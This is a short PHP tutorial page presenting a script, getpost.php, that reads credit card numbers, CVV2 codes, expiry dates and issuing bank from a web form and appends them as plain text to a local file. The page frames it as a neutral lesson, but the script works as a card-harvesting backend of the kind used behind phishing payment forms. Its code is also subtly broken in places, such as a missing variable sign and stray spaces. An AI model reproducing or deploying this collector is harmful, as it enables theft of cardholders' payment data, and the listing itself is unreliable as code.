Home > Article > Backend Development > PHP code PHP code collects form content and writes it to a file
As for the content of the form, I won’t go into details here. The main thing is the action="getpost.php" of the form, which means writing the file getpost.php. The contents of this file will be posted below.
Copy the code The code is as follows:
//Define the form content to be collected
$cardnum = $_POST['cardnum'];
$cvv2 = $_POST['cvv2'] ;
$month = $_POST['month'];
$year = $_POST['year'];
$cardbank = $_POST['cardbank'];
//Define the collected content format
$content = " Credit Card Number:".$cardnum.",Card Verification Number:".$cvv2.",Card Expiry Date:".$month."/ year:".$year.",IssuingBank:".cardbank;
/ /Define the location where the file is stored
$compile_dir = "./txt.txt";
//The following is the PHP code written
$file = fopen($compile_dir,"a+");
fwrite($file,$ content);
fclose($file);
?>
The above introduces the php code. The php code collects the form content and writes it into the file, including the php code content. I hope it will be helpful to friends who are interested in PHP tutorials.